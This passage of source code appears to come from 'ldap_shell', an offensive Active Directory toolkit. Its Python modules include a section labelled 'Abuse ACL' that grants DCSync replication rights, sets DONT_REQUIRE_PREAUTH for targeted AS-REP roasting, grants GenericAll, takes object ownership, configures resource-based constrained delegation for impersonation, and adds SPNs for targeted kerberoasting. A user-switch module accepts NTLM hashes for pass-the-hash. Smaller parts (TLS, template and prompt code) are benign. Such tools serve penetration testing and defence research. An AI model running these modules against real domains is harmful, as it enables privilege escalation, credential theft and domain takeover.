67 | sd['Dacl'].aces.append(AceUtils.createACE(sid=user_sid, object_type='1131f6aa-9c07-11d1-f79f-00c04fc2dcd2')) #set DS-Replication-Get-Changes
68 | sd['Dacl'].aces.append(AceUtils.createACE(sid=user_sid, object_type='89e95b76-444d-4c62-991a-0facbeda640c')) #set DS-Replication-Get-Changes-In-Filtered-Set
69 |
70 | if len(sd['Dacl'].aces) > 0:
71 | attr_values.append(sd.getData())
72 | self.client.modify(target_dn, {ldap_attribute: [MODIFY_REPLACE, attr_values]}, controls=security_descriptor_control(sdflags=0x04))
73 |
74 | if self.client.result['result'] == 0:
75 | self.log.info(f'DACL modified successfully! {user_name} now has DS-Replication privilege and can perform DCSync attack!')
76 | else:
77 | self.process_error_response()
78 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/set_dontreqpreauth/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection, MODIFY_REPLACE
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
6 | from ldap_shell.utils.ldap_utils import LdapUtils
7 |
8 | class LdapShellModule(BaseLdapModule):
9 | """Module for configuring DONT_REQUIRE_PREAUTH flag on user accounts. Targeted AsRepRoast attack."""
10 |
11 | help_text = "Targeted AsRepRoast attack. Set or unset DONT_REQUIRE_PREAUTH flag for a target user."
12 | examples_text = """
13 | Enable DONT_REQUIRE_PREAUTH for user john:
14 | `set_dontreqpreauth john true`
15 | ```
16 | [INFO] Updated userAccountControl attribute successfully
17 | ```
18 |
19 | Disable DONT_REQUIRE_PREAUTH for user john:
20 | `set_dontreqpreauth john false`
21 | ```
22 | [INFO] Updated userAccountControl attribute successfully
23 | ```
24 | """
25 | module_type = "Abuse ACL"
26 |
27 | class ModuleArgs(BaseModel):
28 | target: str = Field(
29 | description="Target user (sAMAccountName)",
30 | arg_type=ArgumentType.USER
31 | )
32 | flag: bool = Field(
33 | description="true to enable, false to disable",
34 | arg_type=ArgumentType.BOOLEAN
35 | )
36 |
37 | def __init__(self, args_dict: dict,
38 | domain_dumper: domainDumper,
39 | client: Connection,
40 | log=None):
41 | self.args = self.ModuleArgs(**args_dict)
42 | self.domain_dumper = domain_dumper
43 | self.client = client
44 | self.log = log or logging.getLogger('ldap-shell.shell')
45 | self.UF_DONT_REQUIRE_PREAUTH = 4194304
46 |
47 | def __call__(self):
48 | # Get target DN
49 | target_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.target)
50 | if not target_dn:
51 | self.log.error(f'Target user not found: {self.args.target}')
52 | return
53 |
54 | # Parse flag
55 | if self.args.flag == True:
56 | enable = True
57 | elif self.args.flag == False:
58 | enable = False
59 | else:
60 | self.log.error('Flag must be either true or false')
61 | return
62 |
63 | # Get current userAccountControl
64 | try:
65 | entry = self.client.search(
66 | target_dn,
67 | '(objectClass=*)',
68 | attributes=['userAccountControl']
69 | )
70 | if not entry or len(self.client.entries) != 1:
71 | self.log.error('Failed to get userAccountControl attribute')
72 | return
73 |
74 | current_uac = self.client.entries[0]['userAccountControl'].value
75 | self.log.debug(f'Current userAccountControl: {current_uac}')
76 |
77 | # Modify flag
78 | if enable:
79 | new_uac = current_uac | self.UF_DONT_REQUIRE_PREAUTH
80 | else:
81 | new_uac = current_uac & ~self.UF_DONT_REQUIRE_PREAUTH
82 |
83 | self.log.debug(f'New userAccountControl: {new_uac}')
84 |
85 | # Apply changes
86 | res = self.client.modify(
87 | target_dn,
88 | {'userAccountControl': [(MODIFY_REPLACE, [new_uac])]}
89 | )
90 |
91 | if res:
92 | self.log.info('Updated userAccountControl attribute successfully')
93 | if enable:
94 | self.log.info(f'DONT_REQUIRE_PREAUTH enabled for {self.args.target}')
95 | else:
96 | self.log.info(f'DONT_REQUIRE_PREAUTH disabled for {self.args.target}')
97 | else:
98 | self.log.error(f'Failed to modify userAccountControl: {self.client.result["description"]}')
99 |
100 | except Exception as e:
101 | self.log.error(f'Error modifying userAccountControl: {str(e)}')
102 | return
103 |
104 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/set_genericall/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
6 | import ldap3
7 | from ldap_shell.utils.ldap_utils import LdapUtils
8 | from ldap_shell.utils.ace_utils import AceUtils
9 | from ldap_shell.utils.ldaptypes import SR_SECURITY_DESCRIPTOR
10 |
11 | class LdapShellModule(BaseLdapModule):
12 | """Module for setting GenericAll permissions"""
13 |
14 | help_text = "Set GenericAll permissions for a target object"
15 | examples_text = """
16 | You can use this module to set GenericAll permissions on a target object.
17 | Example: set GenericAll for target user admin allowing user john to control it
18 | `set_genericall admin john`
19 | ```
20 | [INFO] DACL modified successfully! john now has control of admin
21 | ```
22 | """
23 | module_type = "Abuse ACL"
24 |
25 | class ModuleArgs(BaseModel):
26 | target: str = Field(
27 | description="Target object (user, computer, group, etc)",
28 | arg_type=ArgumentType.DN
29 | )
30 | grantee: str = Field(
31 | None,
32 | description="Account being granted GenericAll rights",
33 | arg_type=[ArgumentType.USER, ArgumentType.COMPUTER, ArgumentType.GROUP]
34 | )
35 |
36 | def __init__(self, args_dict: dict,
37 | domain_dumper: domainDumper,
38 | client: Connection,
39 | log=None):
40 | self.args = self.ModuleArgs(**args_dict)
41 | self.domain_dumper = domain_dumper
42 | self.client = client
43 | self.log = log or logging.getLogger('ldap-shell.shell')
44 |
45 | def __call__(self):
46 | if not LdapUtils.check_dn(self.client, self.domain_dumper, self.args.target):
47 | self.log.error('Invalid DN: %s', self.args.target)
48 | return
49 |
50 | # Get target information
51 | target_dn = self.args.target
52 | if not target_dn:
53 | self.log.error(f'Target object not found: {self.args.target}')
54 | return
55 |
56 | # Get grantee account information
57 | grantee_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.grantee)
58 | if not grantee_dn:
59 | self.log.error(f'Grantee account not found: {self.args.grantee}')
60 | return
61 |
62 | # Get grantee SID
63 | grantee_sid = LdapUtils.get_sid(self.client, self.domain_dumper, self.args.grantee)
64 | if not grantee_sid:
65 | self.log.error(f'Failed to get SID for: {self.args.grantee}')
66 | return
67 |
68 | # Get current security descriptor
69 | try:
70 | sd_data, _ = LdapUtils.get_info_by_dn(self.client, self.domain_dumper, target_dn)
71 |
72 | if sd_data:
73 | sd = SR_SECURITY_DESCRIPTOR(data=sd_data[0])
74 | else:
75 | sd = AceUtils.create_empty_sd()
76 |
77 | except Exception as e:
78 | self.log.error(f'Error processing security descriptor: {str(e)}')
79 | return
80 |
81 | # Add new ACE with GenericAll rights
82 | sd['Dacl'].aces.append(AceUtils.create_allow_ace(grantee_sid)) # GenericAll
83 |
84 | # Apply changes
85 | try:
86 | res = self.client.modify(
87 | target_dn,
88 | {'nTSecurityDescriptor': [(ldap3.MODIFY_REPLACE, [sd.getData()])]},
89 | controls=ldap3.protocol.microsoft.security_descriptor_control(sdflags=0x04)
90 | )
91 | except Exception as e:
92 | self.log.error(f'Modification failed: {str(e)}')
93 | return
94 |
95 | if res:
96 | self.log.info('DACL modified successfully! %s now has control of %s',
97 | self.args.grantee, self.args.target)
98 | if self.client.authentication == 'ANONYMOUS' and self.client.user.split('\\')[1].lower() == grantee_dn.split(',')[0].split('=')[1].lower():
99 | self.log.info('For the changes to take effect, please restart ldap_shell.')
100 | else:
101 | self.log.error('Failed to modify DACL: %s', self.client.result['description'])
102 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/set_owner/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
6 | import ldap3
7 | from ldap_shell.utils.ldap_utils import LdapUtils
8 | from ldap_shell.utils.ace_utils import AceUtils
9 | from ldap_shell.utils.ldaptypes import SR_SECURITY_DESCRIPTOR
10 | from ldap3.protocol.formatters.formatters import format_sid
11 | from ldap3.protocol.microsoft import security_descriptor_control
12 | import ldap_shell.utils.ldaptypes as ldaptypes
13 |
14 | class LdapShellModule(BaseLdapModule):
15 | """Module for setting object owner"""
16 |
17 | help_text = "Set new owner for target object"
18 | examples_text = """
19 | Example: set owner of DC=domain,DC=local to user john
20 | `set_owner DC=domain,DC=local john`
21 | ```
22 | [INFO] Owner modified successfully! john now owns DC=domain,DC=local
23 | ```
24 | """
25 | module_type = "Abuse ACL"
26 |
27 | class ModuleArgs(BaseModel):
28 | target: str = Field(
29 | description="Target object DN",
30 | arg_type=ArgumentType.DN
31 | )
32 | grantee: str = Field(
33 | None,
34 | description="New owner account",
35 | arg_type=[ArgumentType.USER, ArgumentType.COMPUTER]
36 | )
37 |
38 | def __init__(self, args_dict: dict,
39 | domain_dumper: domainDumper,
40 | client: Connection,
41 | log=None):
42 | self.args = self.ModuleArgs(**args_dict)
43 | self.domain_dumper = domain_dumper
44 | self.client = client
45 | self.log = log or logging.getLogger('ldap-shell.shell')
46 |
47 | def __call__(self):
48 | # Validate target DN
49 | if not LdapUtils.check_dn(self.client, self.domain_dumper, self.args.target):
50 | self.log.error('Invalid target DN: %s', self.args.target)
51 | return
52 |
53 | if not self.args.grantee:
54 | self.log.info('Grantee account not provided, using current user')
55 | self.args.grantee = self.client.user.split('\\')[1]
56 |
57 | # Get grantee information
58 | grantee_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.grantee)
59 | if not grantee_dn:
60 | self.log.error(f'Grantee account not found: {self.args.grantee}')
61 | return
62 |
63 | grantee_sid = LdapUtils.get_sid(self.client, self.domain_dumper, self.args.grantee)
64 | if not grantee_sid:
65 | self.log.error(f'Failed to get SID for: {self.args.grantee}')
66 | return
67 |
68 | # Prepare security descriptor
69 | try:
70 | self.client.search(
71 | self.domain_dumper.root,
72 | f'(distinguishedName={self.args.target})',
73 | attributes=['nTSecurityDescriptor'],
74 | controls=ldap3.protocol.microsoft.security_descriptor_control(sdflags=0x01)
75 | )
76 | if len(self.client.entries) > 0:
77 | sd_data = self.client.entries[0]['nTSecurityDescriptor'].raw_values
78 | else:
79 | sd_data = None
80 |
81 | if sd_data:
82 | sd = SR_SECURITY_DESCRIPTOR(data=sd_data[0])
83 | else:
84 | sd = LdapUtils.create_empty_sd()
85 |
86 | except Exception as e:
87 | self.log.error(f'Error processing security descriptor: {str(e)}')
88 | return
89 |
90 | # Set new owner
91 | sd['OwnerSid'] = ldaptypes.LDAP_SID()
92 | sd['OwnerSid'].fromCanonical(format_sid(grantee_sid))
93 |
94 | # Apply changes
95 | try:
96 | res = self.client.modify(
97 | self.args.target,
98 | {'nTSecurityDescriptor': [(ldap3.MODIFY_REPLACE, [sd.getData()])]},
99 | controls=ldap3.protocol.microsoft.security_descriptor_control(sdflags=0x01)
100 | )
101 | except Exception as e:
102 | self.log.error(f'Modification failed: {str(e)}')
103 | return
104 |
105 | if res:
106 | self.log.info('Owner modified successfully! %s now owns %s',
107 | self.args.grantee, self.args.target)
108 | if self.client.authentication == 'ANONYMOUS':
109 | self.log.info('For changes to take effect, please restart ldap_shell')
110 | else:
111 | self.log.error('Failed to modify owner: %s', self.client.result['description'])
112 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/set_rbcd/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from typing import Optional
6 | from ldap_shell.prompt import Prompt
7 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
8 | import ldap3
9 | from ldap_shell.utils.ldap_utils import LdapUtils
10 | from ldap_shell.utils.ace_utils import AceUtils
11 | from ldap_shell.utils.ldaptypes import SR_SECURITY_DESCRIPTOR
12 |
13 | class LdapShellModule(BaseLdapModule):
14 | """Module for configuring RBCD (Resource-Based Constrained Delegation)"""
15 |
16 | help_text = "Configure RBCD permissions for a target computer"
17 | examples_text = """
18 | You can use this module to abuse GenericAll, GenericWrite and
19 | Write to property AllowedToActOnBehalfOfOtherIdentity rights on a computer account.
20 | Example: set RBCD for target computer DC01 allowing WEB01 to delegate
21 | `set_rbcd DC01$ WEB01$`
22 | ```
23 | [INFO] Delegation rights modified successfully! WEB01$ can now impersonate users on DC01$ via S4U2Proxy
24 | ```
25 | `search "(sAMAccountName=WIN-AQ92SG0RJNU$)" sAMAccountName,msDS-AllowedToActOnBehalfOfOtherIdentity`
26 | ```
27 | [INFO] Starting search operation...
28 |
29 | sAMAccountName : WIN-AQ92SG0RJNU$
30 | msDS-AllowedToActOnBehalfOfOtherIdentity: 010004804000000000000000000000001400000004002c000100000000002400ff010f000105000000000005150000003a81230a1ca426c690bee9becd0f000001020000000000052000000020020000
31 | ```
32 | """
33 | module_type = "Abuse ACL"
34 |
35 | class ModuleArgs(BaseModel):
36 | target: str = Field(
37 | description="Target computer account",
38 | arg_type=ArgumentType.COMPUTER
39 | )
40 | grantee: str = Field(
41 | description="Account being granted delegation rights",
42 | arg_type=[ArgumentType.USER, ArgumentType.COMPUTER, ArgumentType.GROUP]
43 | )
44 |
45 | def __init__(self, args_dict: dict,
46 | domain_dumper: domainDumper,
47 | client: Connection,
48 | log=None):
49 | self.args = self.ModuleArgs(**args_dict)
50 | self.domain_dumper = domain_dumper
51 | self.client = client
52 | self.log = log or logging.getLogger('ldap-shell.shell')
53 |
54 | def __call__(self):
55 | # Get target information
56 | target_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.target)
57 | if not target_dn:
58 | self.log.error(f'Target computer not found: {self.args.target}')
59 | return
60 |
61 | # Get grantee account information
62 | grantee_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.grantee)
63 | if not grantee_dn:
64 | self.log.error(f'Grantee account not found: {self.args.grantee}')
65 | return
66 |
67 | # Get grantee SID
68 | grantee_sid = LdapUtils.get_sid(self.client, self.domain_dumper, self.args.grantee)
69 | if not grantee_sid:
70 | self.log.error(f'Failed to get SID for: {self.args.grantee}')
71 | return
72 |
73 | # Get current security descriptor
74 | try:
75 | entry = self.client.search(
76 | target_dn,
77 | f'(sAMAccountName={self.args.target})',
78 | attributes=['msDS-AllowedToActOnBehalfOfOtherIdentity']
79 | )
80 | if not entry or len(self.client.entries) != 1:
81 | self.log.error('Failed to retrieve target security descriptor')
82 | return
83 |
84 | sd_data = self.client.entries[0]['msDS-AllowedToActOnBehalfOfOtherIdentity'].raw_values
85 | if sd_data:
86 | sd = SR_SECURITY_DESCRIPTOR(data=sd_data[0])
87 | self.log.info('Current allowed SIDs:')
88 | for ace in sd['Dacl'].aces:
89 | if ace['Ace']['Sid'].formatCanonical() == grantee_sid:
90 | self.log.warning('Grantee already has delegation rights')
91 | return
92 | else:
93 | sd = AceUtils.create_empty_sd()
94 |
95 | except Exception as e:
96 | self.log.error(f'Error processing security descriptor: {str(e)}')
97 | return
98 |
99 | # Add new ACE
100 | sd['Dacl'].aces.append(AceUtils.create_allow_ace(grantee_sid))
101 |
102 | # Apply changes
103 | try:
104 | res = self.client.modify(
105 | target_dn,
106 | {'msDS-AllowedToActOnBehalfOfOtherIdentity': [(ldap3.MODIFY_REPLACE, [sd.getData()])]}
107 | )
108 | except Exception as e:
109 | self.log.error(f'Modification failed: {str(e)}')
110 | return
111 |
112 | if res:
113 | self.log.info('Delegation rights modified successfully! %s can now impersonate users on %s via S4U2Proxy',
114 | self.args.grantee, self.args.target)
115 | else:
116 | self.log.error('Failed to modify delegation rights: %s', self.client.result['description'])
117 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/set_spn/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection, MODIFY_REPLACE, MODIFY_ADD, MODIFY_DELETE
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
6 | from ldap_shell.utils.ldap_utils import LdapUtils
7 |
8 | class LdapShellModule(BaseLdapModule):
9 | """Module for managing Service Principal Names (SPN) for target objects"""
10 |
11 | help_text = "List, add or delete SPN for a target object"
12 | examples_text = """
13 | If you have GenericWrite permissions on the object, you can perform a targeted kerberoasting attack.
14 | List SPNs for user john:
15 | `set_spn john list`
16 | ```
17 | [INFO] Current SPNs for john:
18 | [INFO] - HTTP/example.com
19 | [INFO] - MSSQLSvc/server.domain.local
20 | ```
21 |
22 | Add SPN for user john:
23 | `set_spn john add HTTP/example.com`
24 | ```
25 | [INFO] SPN HTTP/example.com added successfully
26 | ```
27 |
28 | Delete SPN for user john:
29 | `set_spn john del HTTP/example.com`
30 | ```
31 | [INFO] SPN HTTP/example.com deleted successfully
32 | ```
33 | """
34 | module_type = "Abuse ACL"
35 |
36 | class ModuleArgs(BaseModel):
37 | target: str = Field(
38 | description="Target object (sAMAccountName)",
39 | arg_type=[ArgumentType.USER, ArgumentType.COMPUTER]
40 | )
41 | action: str = Field(
42 | description="Action to perform (list/add/del)",
43 | arg_type=ArgumentType.ACTION
44 | )
45 | spn: str = Field(
46 | None,
47 | description="SPN to add or delete",
48 | arg_type=ArgumentType.STRING
49 | )
50 |
51 | def __init__(self, args_dict: dict,
52 | domain_dumper: domainDumper,
53 | client: Connection,
54 | log=None):
55 | self.args = self.ModuleArgs(**args_dict)
56 | self.domain_dumper = domain_dumper
57 | self.client = client
58 | self.log = log or logging.getLogger('ldap-shell.shell')
59 |
60 | def __call__(self):
61 | try:
62 | # Get target DN
63 | target_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.target)
64 | if not target_dn:
65 | self.log.error(f'Target object not found: {self.args.target}')
66 | return
67 |
68 | # Get current SPNs
69 | if not self.client.search(target_dn, '(objectClass=*)', attributes=['servicePrincipalName']):
70 | self.log.error('Failed to get SPN attributes')
71 | return
72 |
73 | current_spns = []
74 | if self.client.entries and 'servicePrincipalName' in self.client.entries[0]:
75 | current_spns = self.client.entries[0]['servicePrincipalName'].values
76 |
77 | # Handle different actions
78 | if self.args.action.lower() == 'list':
79 | if not current_spns:
80 | self.log.info(f'No SPNs found for {self.args.target}')
81 | return
82 |
83 | self.log.info(f'Current SPNs for {self.args.target}:')
84 | for spn in current_spns:
85 | self.log.info(f'- {spn}')
86 | return
87 |
88 | if not self.args.spn:
89 | self.log.error('SPN value is required for add/del actions')
90 | return
91 |
92 | if self.args.action.lower() == 'add':
93 | if self.args.spn in current_spns:
94 | self.log.warning(f'SPN {self.args.spn} already exists')
95 | return
96 |
97 | new_spns = current_spns + [self.args.spn]
98 | result = self.client.modify(
99 | target_dn,
100 | {'servicePrincipalName': [(MODIFY_REPLACE, new_spns)]}
101 | )
102 |
103 | if result:
104 | self.log.info(f'SPN {self.args.spn} added successfully')
105 | else:
106 | self.log.error(f'Failed to add SPN: {self.client.result["description"]}')
107 |
108 | elif self.args.action.lower() == 'del':
109 | if self.args.spn not in current_spns:
110 | self.log.warning(f'SPN {self.args.spn} does not exist')
111 | return
112 |
113 | new_spns = [spn for spn in current_spns if spn != self.args.spn]
114 | result = self.client.modify(
115 | target_dn,
116 | {'servicePrincipalName': [(MODIFY_REPLACE, new_spns)]}
117 | )
118 |
119 | if result:
120 | self.log.info(f'SPN {self.args.spn} deleted successfully')
121 | else:
122 | self.log.error(f'Failed to delete SPN: {self.client.result["description"]}')
123 | else:
124 | self.log.error('Invalid action. Use list/add/del')
125 |
126 | except Exception as e:
127 | self.log.error(f'Error managing SPNs: {str(e)}')
128 | if 'insufficient access rights' in str(e).lower():
129 | self.log.info('Try relaying with LDAPS (--use-ldaps) or use elevated credentials')
130 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/start_tls/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
6 | import ldap3
7 |
8 | class LdapShellModule(BaseLdapModule):
9 | """Module for establishing TLS connection with LDAP server"""
10 |
11 | help_text = "Start TLS connection with LDAP server"
12 | examples_text = """
13 | TLS over LDAP is required for operations that require an encrypted channel, such as adding a user or computer.
14 | Example: Start TLS connection
15 | `start_tls`
16 | ```
17 | [INFO] Sending StartTLS command...
18 | [INFO] StartTLS established successfully!
19 | ```
20 | """
21 | module_type = "Misc"
22 |
23 | class ModuleArgs(BaseModel):
24 | pass # No arguments needed for this module
25 |
26 | def __init__(self, args_dict: dict,
27 | domain_dumper: domainDumper,
28 | client: Connection,
29 | log=None):
30 | self.args = self.ModuleArgs(**args_dict)
31 | self.domain_dumper = domain_dumper
32 | self.client = client
33 | self.log = log or logging.getLogger('ldap-shell.shell')
34 |
35 | def __call__(self):
36 | try:
37 | # Check if TLS connection is already established
38 | if not self.client.tls_started and not self.client.server.ssl:
39 | self.log.info('Sending StartTLS command...')
40 | if not self.client.start_tls():
41 | self.log.error("StartTLS failed")
42 | return
43 | self.log.info('StartTLS established successfully!')
44 | else:
45 | self.log.info('TLS connection is already established')
46 |
47 | except Exception as e:
48 | self.log.error(f'Error establishing TLS connection: {str(e)}')
49 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/switch_user/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | import re
3 | import copy
4 | from ldap3 import Connection
5 | from ldapdomaindump import domainDumper
6 | from pydantic import BaseModel, Field
7 | from typing import Optional
8 | from ldap_shell.prompt import Prompt
9 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
10 | from ldap_shell.utils.security_utils import SecurityUtils
11 |
12 | class LdapShellModule(BaseLdapModule):
13 | """Module for switching current user"""
14 |
15 | help_text = "Switch current user to another"
16 | examples_text = """
17 | Example 1: Switch to user with password specified in command line
18 | `switch_user username password`
19 |
20 | Example 2: Switch to user with interactive password prompt
21 | `switch_user username`
22 |
23 | Example 3: Switch to user using NTLM hash
24 | `switch_user username :1a59bd44fe5bec39c44c8cd3524dee`
25 | `switch_user username aad3b435b51404eeaad3b435b51404ee:1a59bd44fe5bec39c44c8cd3524dee`
26 |
27 | Example 4: Switch to computer account
28 | `switch_user srv1$ password`
29 | """
30 | module_type = "Misc"
31 |
32 | class ModuleArgs(BaseModel):
33 | username: str = Field(
34 | description="Username to switch to",
35 | arg_type=[ArgumentType.USER, ArgumentType.COMPUTER]
36 | )
37 | password: Optional[str] = Field(
38 | None,
39 | description="User's password or NTLM hash (optional)",
40 | arg_type=ArgumentType.STRING
41 | )
42 |
43 | def __init__(self, args_dict: dict,
44 | domain_dumper: domainDumper,
45 | client: Connection,
46 | log=None):
47 | self.args = self.ModuleArgs(**args_dict)
48 | self.domain_dumper = domain_dumper
49 | self.client = client
50 | self.log = log or logging.getLogger('ldap-shell.shell')
51 |
52 | def __call__(self):
53 | import getpass
54 |
55 | username = self.args.username
56 | password = self.args.password
57 |
58 | if not password:
59 | password = getpass.getpass()
60 |
61 | lmhash = None
62 | nthash = None
63 | domain = self.client.user.split('\\')[0]
64 | old_user = self.client.user.split('\\')[1]
65 | old_client = copy.copy(self.client)
66 |
67 | # Check if hash was provided instead of password
68 | if re.match('^:[0-9a-f]{32}$', password) or re.match('^[0-9a-f]{32}:[0-9a-f]{32}$', password) or re.match('^[0-9a-f]{32}$', password):
69 | self.log.debug('Attempting to use hash')
70 | lmhash = 'aad3b435b51404eeaad3b435b51404ee'
71 | if re.match('^[0-9a-f]{32}$', password):
72 | nthash = password
73 | else:
74 | nthash = password.split(":")[1]
75 |
76 | if nthash:
77 | if self.client.rebind(user=domain+'\\'+username, password=lmhash+':'+nthash, authentication='NTLM'):
78 | self.log.info(f'Success! User {old_user} was changed to {username}')
79 | return f'\n{username}# '
80 | else:
81 | self.log.error('Failed to switch user. Check password.')
82 | self.client = old_client
83 | return False
84 | else:
85 | lmhash = 'aad3b435b51404eeaad3b435b51404ee'
86 | nthash = SecurityUtils.calculate_ntlm(password)
87 | if self.client.rebind(user=domain+'\\'+username, password=lmhash+':'+nthash, authentication='NTLM'):
88 | self.log.info(f'Success! User {old_user} was changed to {username}')
89 | return f'\n{username}# '
90 | else:
91 | self.log.error('Failed to switch user. Check password.')
92 | self.client = old_client
93 | return False
94 |
--------------------------------------------------------------------------------
/ldap_shell/ldap_modules/template/ldap_module.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from ldap3 import Connection
3 | from ldapdomaindump import domainDumper
4 | from pydantic import BaseModel, Field
5 | from typing import Optional
6 | from ldap_shell.prompt import Prompt
7 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType
8 |
9 | class LdapShellModule(BaseLdapModule):
10 | """Module for retrieves all groups this user is a member of"""
11 |
12 | help_text = "Template module"
13 | examples_text = """
14 | Example 1
15 | `template`
16 | ```
17 | [INFO] Template module any output
18 | ```
19 | Example 2
20 | `template argument1 argument2`
21 | ```
22 | [INFO] Template module any output
23 | ```
24 | """
25 | module_type = "Get Info" # Get Info, Abuse ACL, Misc and Other.
26 |
27 | class ModuleArgs(BaseModel):
28 | """Model for describing module arguments.
29 |
30 | Field() to configure each argument with:
31 | - default value (None for optional args)
32 | - description - explains the argument's purpose
33 | - arg_type - one of ArgumentType enum values:
34 | * USER - for AD user objects
35 | * COMPUTER - for AD computers
36 | * DIRECTORY - for filesystem paths
37 | * STRING - for text input
38 | more types in ../base_module.py
39 |
40 | Example:
41 | class ModuleArgs(BaseModel):
42 | user: str = Field(
43 | ..., # This argument is required
44 | description="Target AD user",
45 | arg_type=ArgumentType.USER
46 | )
47 | group: Optional[str] = Field(
48 | None, # This argument is not required
49 | description="Optional AD group",
50 | arg_type=ArgumentType.GROUP
51 | )
52 | """
53 |
54 | example_arg: Optional[str] = Field(
55 | None, # This argument is not required
56 | description="Example argument",
57 | arg_type=[ArgumentType.STRING, ArgumentType.USER, ArgumentType.GROUP, ArgumentType.COMPUTER] # Changed to list of types
58 | )
59 |
60 | def __init__(self, args_dict: dict,
61 | domain_dumper: domainDumper,
62 | client: Connection,
63 | log=None):
64 | self.args = self.ModuleArgs(**args_dict)
65 | self.domain_dumper = domain_dumper
66 | self.client = client
67 | self.log = log or logging.getLogger('ldap-shell.shell')
68 |
69 | def __call__(self):
70 | self.log.info(f"Template module called with args: {self.args}")
71 | # Get current user DN
72 | user_dn = self.client.extend.standard.who_am_i()
73 | if user_dn:
74 | self.log.info(f"Current user DN: {user_dn}")
75 | else:
76 | self.log.error("Failed to get current user DN")
77 |
--------------------------------------------------------------------------------
/ldap_shell/prompt.py:
--------------------------------------------------------------------------------
1 | from prompt_toolkit.completion import Completion
2 | from prompt_toolkit import PromptSession
3 | from prompt_toolkit.auto_suggest import AutoSuggest, Suggestion
4 | from prompt_toolkit.shortcuts import CompleteStyle
5 | import string
6 | import logging
7 | from prompt_toolkit.completion import Completer
8 | from prompt_toolkit.key_binding import KeyBindings
9 | from ldap_shell.completers import CompleterFactory
10 | from ldap_shell.utils.module_loader import ModuleLoader
11 | from ldap_shell.utils import history
12 | import shlex
13 |
14 | class ModuleCompleter(Completer):
15 | def __init__(self, modules, domain_dumper, client):
16 | self.modules = modules
17 | self.domain_dumper = domain_dumper
18 | self.client = client
19 |
20 | def get_completions(self, document, complete_event):
21 | text = document.text_before_cursor
22 | try:
23 | words = shlex.split(text)
24 | except:
25 | words = shlex.split(text+'"')
26 | if text.endswith(' '):
27 | words.append('')
28 |
29 | # If this is the first word - suggest modules
30 | if len(words) <= 1 and not text.endswith(' '):
31 | word = words[0] if words else ''
32 | for module_name in self.modules:
33 | if module_name.startswith(word):
34 | yield Completion(
35 | module_name,
36 | start_position=-len(word),
37 | display_meta=self.modules[module_name].__doc__
38 | )
39 | return
40 | # Get current module and argument
41 | module_name = words[0]
42 | if not any(module_name.startswith(m) for m in self.modules):
43 | return
44 |
45 | module_class = self.modules[module_name]
46 | arguments = module_class.get_arguments()
47 |
48 | # Determine which argument needs suggestions
49 | current_arg_index = max(len(words) - 2, 0)
50 |
51 | if current_arg_index+1 > len(arguments):
52 | return
53 |
54 | current_arg = arguments[current_arg_index]
55 | completer = CompleterFactory.create_completer(
56 | current_arg.arg_type,
57 | self.client,
58 | self.domain_dumper
59 | )
60 | if completer:
61 | current_word = document.get_word_before_cursor()
62 | yield from completer.get_completions(document, complete_event, current_word)
63 |
64 | class ModuleSuggester(AutoSuggest):
65 | """Suggests hints from history and module arguments"""
66 |
67 | def __init__(self, modules, history):
68 | self.modules = modules
69 | self.history = history # Should be prompt_toolkit.history.History
70 |
71 | def get_suggestion(self, buffer, document) -> Suggestion | None:
72 | text = document.text_before_cursor
73 |
74 | # 1. Check history
75 | history_suggestion = self._get_history_suggestion(text)
76 | if history_suggestion:
77 | return history_suggestion
78 |
79 | # 2. Suggest module arguments
80 | return self._get_module_suggestion(text)
81 |
82 | def _get_history_suggestion(self, text: str) -> Suggestion | None:
83 | """Find last used argument for current command"""
84 | if not text.strip():
85 | return None
86 |
87 | # Get base command (first word)
88 | base_command = text.split()[0]
89 |
90 | # Search history for last full command with this base name
91 | last_full_command = None
92 | for entry in reversed(list(self.history.get_strings())):
93 | if entry.startswith(base_command + ' '):
94 | last_full_command = entry
95 | break
96 |
97 | if not last_full_command:
98 | return None
99 |
100 | # Compare current input with history entry
101 | if last_full_command.startswith(text):
102 | remaining_part = last_full_command[len(text):]
103 | return Suggestion(remaining_part)
104 |
105 | return None
106 |
107 | def _get_module_suggestion(self, text: str) -> Suggestion | None:
108 | """Standard module argument suggestion"""
109 | words = text.split()
110 | if len(words) == 0 or words[0] not in self.modules:
111 | return None
112 |
